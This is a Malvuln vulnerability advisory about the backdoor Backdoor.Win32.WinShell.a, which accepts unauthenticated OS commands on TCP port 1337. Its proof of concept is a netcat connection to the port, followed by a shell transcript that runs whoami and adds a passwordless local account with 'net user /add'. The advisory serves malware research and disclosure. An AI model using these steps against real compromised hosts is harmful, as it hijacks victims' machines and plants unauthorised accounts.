Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/911a97737bd26e2a478f52e74b4fa01d.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.WinShell.a Vulnerability: Unauthenticated Remote Command Execution Description: WinShell listens on TCP port 1337, third-party attackers who can reach the system can execute OS commands further compromising the already infected system. Type: PE32 MD5: 911a97737bd26e2a478f52e74b4fa01d Vuln ID: MVID-2021-0233 Disclosure: 05/30/2021 Exploit/PoC: nc64.exe x.x.x.x 1337 Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\Victim\Desktop>whoami whoami desktop-3c2kqjo\victim C:\Users\Victim\Desktop>net user hyp3rlinx "" /add net user hyp3rlinx "" /add The command completed successfully. C:\Users\Victim\Desktop>net user hyp3rlinx net user hyp3rlinx User name hyp3rlinx Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 4/30/2021 2:42:58 AM Password expires Never Password changeable 4/30/2021 2:42:58 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Users Global Group memberships *None The command completed successfully. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).